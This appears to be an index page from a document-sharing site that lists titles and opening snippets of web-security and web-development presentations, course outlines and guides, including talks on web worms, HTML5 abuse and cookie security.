ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Web Application Worms & Browser Insecurity
Web Application Worms & Browser Insecurity Mike Shema Welcome Background Hacking Exposed: Web Applications The Anti-Hacker Toolkit Hack Notes: Web Security Currently working at Qualys
(WAPT) Web Application Penetration Testing
(WAPT) Web Application Penetration Testing Module 0: Introduction 1. Introduction to the course. 2. How to get most out of the course 3. Resources you will need for the course 4. What is WAPT? Module 1:
AJAX and JSON Lessons Learned. Jim Riecken, Senior Software Engineer, Blackboard Inc.
AJAX and JSON Lessons Learned Jim Riecken, Senior Software Engineer, Blackboard Inc. About Me Jim Riecken Senior Software Engineer At Blackboard for 4 years. Work out of the Vancouver office. Working a
Portals and Hosted Files
12 Portals and Hosted Files This chapter introduces Progress Rollbase Portals, portal pages, portal visitors setup and management, portal access control and login/authentication and recommended guidelines
Website Login Integration
SSO Widget Website Login Integration October 2015 Table of Contents Introduction... 3 Getting Started... 5 Creating your Login Form... 5 Full code for the example (including CSS and JavaScript):... 7 2
An Insight into Cookie Security
An Insight into Cookie Security Today most websites and web based applications use cookies. Cookies are primarily used by the web server to track an authenticated user or other user specific details. This
TIME SCHEDULE OBJECTIVES
COURSE TITLE : WEB DESIGN COURSE CODE : 3073 COURSE CATEGORY : B PERIODS/WEEK : 4 PERIODS/ SEMESTER : 72 CREDITS : 4 TIME SCHEDULE MODULE TOPICS PERIODS 1 Internet fundamentals 18 2 Html, css and web design
Client-side Web Engineering From HTML to AJAX
Client-side Web Engineering From HTML to AJAX SWE 642, Spring 2008 Nick Duan 1 What is Client-side Engineering? The concepts, tools and techniques for creating standard web browser and browser extensions
Abusing HTML5. DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA 02155 [email protected]
Abusing HTML5 DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA 02155 [email protected] What is HTML5? The next major revision of HTML. To replace XHTML? Yes Close
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers The Website can be developed under Windows or Linux Platform. Windows Development should be use: ASP, ASP.NET 1.1/ 2.0, and
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited